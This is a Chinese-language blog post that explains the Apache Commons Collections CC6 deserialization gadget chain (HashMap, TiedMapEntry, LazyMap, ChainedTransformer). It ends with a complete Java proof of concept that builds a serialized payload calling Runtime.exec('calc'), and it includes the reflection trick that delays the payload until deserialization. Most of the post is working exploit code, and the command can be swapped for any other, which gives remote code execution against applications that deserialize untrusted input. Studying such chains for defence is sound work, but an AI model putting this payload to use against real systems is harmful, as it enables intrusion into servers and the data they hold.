cc6


由上篇cc1知道其在1.8.0_71里已经修复了,两条链用不了了,所以看cc6,这个不看JDK版本

cc6的后半部分一样,都还是LazyMap

而这个使用了HashMap,HashMap.readObject()putValhashCode()

readObject 中是直接调用 putVal``putVal 的第一个参数是 hash(key)

static final int hash(Object key) {
    int h;
    // 核心:如果key不为null,调用key的hashCode(),再做扰动计算
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

当 key 不为 null 时,必须调用 key 的 hashCode() 方法获取原始哈希值;这也是urldns

我们要找到一个类的hashcode里面调用LazyMap.get就可以了

TiedMapEntry

 public int hashCode() {
       Object value = getValue();
       return (getKey() == null ? 0 : getKey().hashCode()) ^
              (value == null ? 0 : value.hashCode()); 
   }


public Object getValue() {
       return map.get(key);
   

你说咋怎巧呢hascodegetvalueget,所以我们可以把map.get改成LazyMap.get

entry就是每一个map里面都有的键值对

而且TiedMapEntrypublic不像其他Entry一样

开始写,已知

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

然后是hashmap

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

就是我们要到hash(key),然后就会到

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

接着我们会key.hashCode()TiedMapEntry.hashcode(),这样就接上上面的了,接着会调map.getLazyMap.get,完成。

所以我们把它的key传成TiedMapEntry

TiedMapEntry tiedMapEntry = new TiedMapEntry(map, "lll");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "kk");

但是跟DNSURL一样不能直接序列化反序列化,因为put会直接调用hash方法,不用反序列化就会弹出计算器。因此我们还是要根据反射改一下值,因为链子是一层套一层,所以中途将任意一层改成空的即可。

就改lazyMap

可以看到factoryLazyMap 类的私有成员变量,于是照常反射,用 getDeclaredField 是拿「成员变量」,用 getMethod 是拿「成员方法」

Class c=LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

我们在这里改成chainedTransformer,意思就是要在put前的那里改成普通的,这样就能在put时不提前调用hash

 //Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

这里不会执行了,但反序列化时也不会执行了,看一下map2.put(tiedMapEntry, "kk");是这里还有key,反序列化时就有这个key

(我这里没像我看的博主一样进if不知道为什么,但不难看到到这边key是已经有的了,是我们的随便的值lll

所以删掉就行了

lazyMap.remove("lll");

这样子就能序列化不触发而反序列化时触发了

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;


public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, NoSuchFieldException {

        Transformer[] trs=new Transformer[]{
                new ConstantTransformer(Runtime.class),
               new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
         new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(trs);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lll");
        HashMap<Object,Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry, "kk");

        lazyMap.remove("lll");

        Class c=LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);


        serialize(map2);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录